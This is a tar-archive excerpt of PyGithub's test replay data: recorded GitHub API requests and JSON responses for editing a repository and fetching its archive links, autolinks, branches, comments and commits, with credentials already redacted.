X-Requested-With'), ('X-GitHub-Request-Id', 'AFD4:3C6C:7E7FD:9D757:6045B310')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testEditWithAllArguments.txt0000644000175100001660000001062414756101563026040 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"has_wiki": false, "name": "PyGithub", "has_issues": true, "homepage": "http://vincent-jacques.net/PyGithub", "private": true, "description": "Description edited by PyGithub", "has_projects": false, "allow_auto_merge": true, "allow_update_branch": true, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true, "is_template": true, "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true, "has_discussions": false} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '1109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"749313ec2d171323deb61f9f4c85e84f"'), ('date', 'Sat, 26 May 2012 11:22:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/PyGithub/PyGithub.git","watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"git_url":"git://github.com/PyGithub/PyGithub.git","private":false,"open_issues":16,"mirror_url":null,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Description edited by PyGithub","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/PyGithub/PyGithub","full_name":"PyGithub/PyGithub", "has_projects": false, "allow_auto_merge": true, "allow_update_branch": true, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true, "is_template": true, "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true, "has_discussions": false} https PATCH api.github.com None /repos/PyGithub/PyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "PyGithub", "description": "Python library implementing the full Github API v3"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c1328d95af7d85267acb5754968b2c0b"'), ('date', 'Sat, 26 May 2012 11:22:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/PyGithub/PyGithub.git","watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":16,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","full_name":"PyGithub/PyGithub", "has_discussions": false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testEditWithDefaultBranch.txt0000644000175100001660000000365014756101563026145 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"default_branch": "master", "name": "PyGithub"} 200 [('status', '200 OK'), ('content-length', '1264'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4493662efd70c37f486a910d29ef99c1"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 03 Nov 2012 08:41:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"master_branch":"master","watchers":97,"pushed_at":"2012-11-03T08:25:58Z","watchers_count":97,"forks":27,"svn_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the full Github API v3","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"open_issues":11,"open_issues_count":11,"url":"https://api.github.com/repos/PyGithub/PyGithub","updated_at":"2012-11-03T08:41:07Z","permissions":{"push":true,"pull":true,"admin":true},"default_branch":"master","html_url":"https://github.com/PyGithub/PyGithub","clone_url":"https://github.com/PyGithub/PyGithub.git","language":"Python","has_downloads":true,"ssh_url":"git@github.com:PyGithub/PyGithub.git","size":256,"mirror_url":null,"fork":false,"full_name":"PyGithub/PyGithub","forks_count":27,"name":"PyGithub","created_at":"2012-02-25T12:53:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","homepage":"http://vincent-jacques.net/PyGithub","has_issues":true,"private":false,"id":3544490,"network_count":27,"has_wiki":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testEditWithoutArguments.txt0000644000175100001660000000316614756101563026142 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"97977b426859a02f4d2a3fa4764b1a8e"'), ('date', 'Sat, 26 May 2012 11:21:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"description":"Python library implementing the full Github API v3","full_name":"PyGithub/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T10:01:38Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:PyGithub/PyGithub.git","open_issues":16,"fork":false,"svn_url":"https://github.com/PyGithub/PyGithub","pushed_at":"2012-05-26T10:01:38Z","size":412,"html_url":"https://github.com/PyGithub/PyGithub","private":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","clone_url":"https://github.com/PyGithub/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":13,"git_url":"git://github.com/PyGithub/PyGithub.git","id":3544490,"permissions":{"admin":true,"pull":true,"push":true},"created_at":"2012-02-25T12:53:47Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetArchiveLink.txt0000644000175100001660000000503614756101563024640 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/tarball {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('status', '302 Found'), ('content-length', '0'), ('x-content-type-options', 'nosniff'), ('expires', 'Sat, 08 Sep 2012 11:03:00 GMT'), ('x-ratelimit-remaining', '4990'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://nodeload.github.com/PyGithub/PyGithub/tarball/master'), ('cache-control', 'public, must-revalidate, max-age=0'), ('date', 'Sat, 08 Sep 2012 11:03:00 GMT'), ('content-type', 'text/html;charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/zipball {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('status', '302 Found'), ('x-ratelimit-remaining', '4989'), ('x-content-type-options', 'nosniff'), ('expires', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://nodeload.github.com/PyGithub/PyGithub/zipball/master'), ('cache-control', 'public, must-revalidate, max-age=0'), ('date', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-type', 'text/html;charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/zipball/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('status', '302 Found'), ('content-length', '0'), ('x-content-type-options', 'nosniff'), ('expires', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('x-ratelimit-remaining', '4988'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://nodeload.github.com/PyGithub/PyGithub/zipball/master'), ('cache-control', 'public, must-revalidate, max-age=0'), ('date', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-type', 'text/html;charset=utf-8')] https GET api.github.com None /repos/PyGithub/PyGithub/tarball/develop {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('status', '302 Found'), ('x-ratelimit-remaining', '4987'), ('x-content-type-options', 'nosniff'), ('expires', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://nodeload.github.com/PyGithub/PyGithub/tarball/develop'), ('cache-control', 'public, must-revalidate, max-age=0'), ('date', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-type', 'text/html;charset=utf-8')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetAutolinks.txt0000644000175100001660000000347414756101563024416 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/autolinks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:01:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4d453f5f31fb634e68e615083db0c61dc2d1925cd6f16586a81b24e2369872ba"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '56'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C11A:B2A9:62722:A8B2E:618136B3')] [{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/"},{"id":209611,"key_prefix":"TEST-","url_template":"https://github.com/PyGithub/PyGithub/issues/"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetBranch.txt0000644000175100001660000000441514756101563023636 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/branches/develop {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '1679'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b604c4203d816dfb31c48acf4171ed76"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:06:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/branches/develop","html":"https://github.com/PyGithub/PyGithub/tree/develop"},"commit":{"sha":"03058a36164d2a7d946db205f25538434fa27d94","author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"commit":{"message":"Commit statuses (issue #67)","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T04:41:15-07:00"},"comment_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/03058a36164d2a7d946db205f25538434fa27d94","tree":{"sha":"b1b660dc63a2de976b7c5aa1e303adce299bbeb8","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b1b660dc63a2de976b7c5aa1e303adce299bbeb8"},"committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T04:41:15-07:00"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03058a36164d2a7d946db205f25538434fa27d94","parents":[{"sha":"f109c644fddee5512f8e88a4a22d9c3aac68a306","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f109c644fddee5512f8e88a4a22d9c3aac68a306"}],"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}},"name":"develop"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetComments.txt0000644000175100001660000001126314756101563024225 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '4307'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2664cb68cf94b65a884d6867aa13e7d2"'), ('date', 'Sun, 27 May 2012 06:42:01 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1347033","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347033,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347033"},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks !","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1347083","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1347083,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083"},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1347397","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347397,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347397"},{"updated_at":"2012-05-22T18:49:34Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-22T18:49:34Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":26,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1362000,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetCommits.txt0000644000175100001660000041646714756101563024072 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('content-length', '46151'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"5443e5772e0bda0813a09a3620a8f7c2"'), ('date', 'Sun, 27 May 2012 06:45:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","sha":"cb0313157bf904f2d364377d35d9397b269547a5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","message":"Publish version 0.7","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"cb0313157bf904f2d364377d35d9397b269547a5","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/cb0313157bf904f2d364377d35d9397b269547a5","message":"Merge branch 'topic/Authentication' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T05:10:54-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","message":"Implement the three authentication schemes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T05:10:54-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 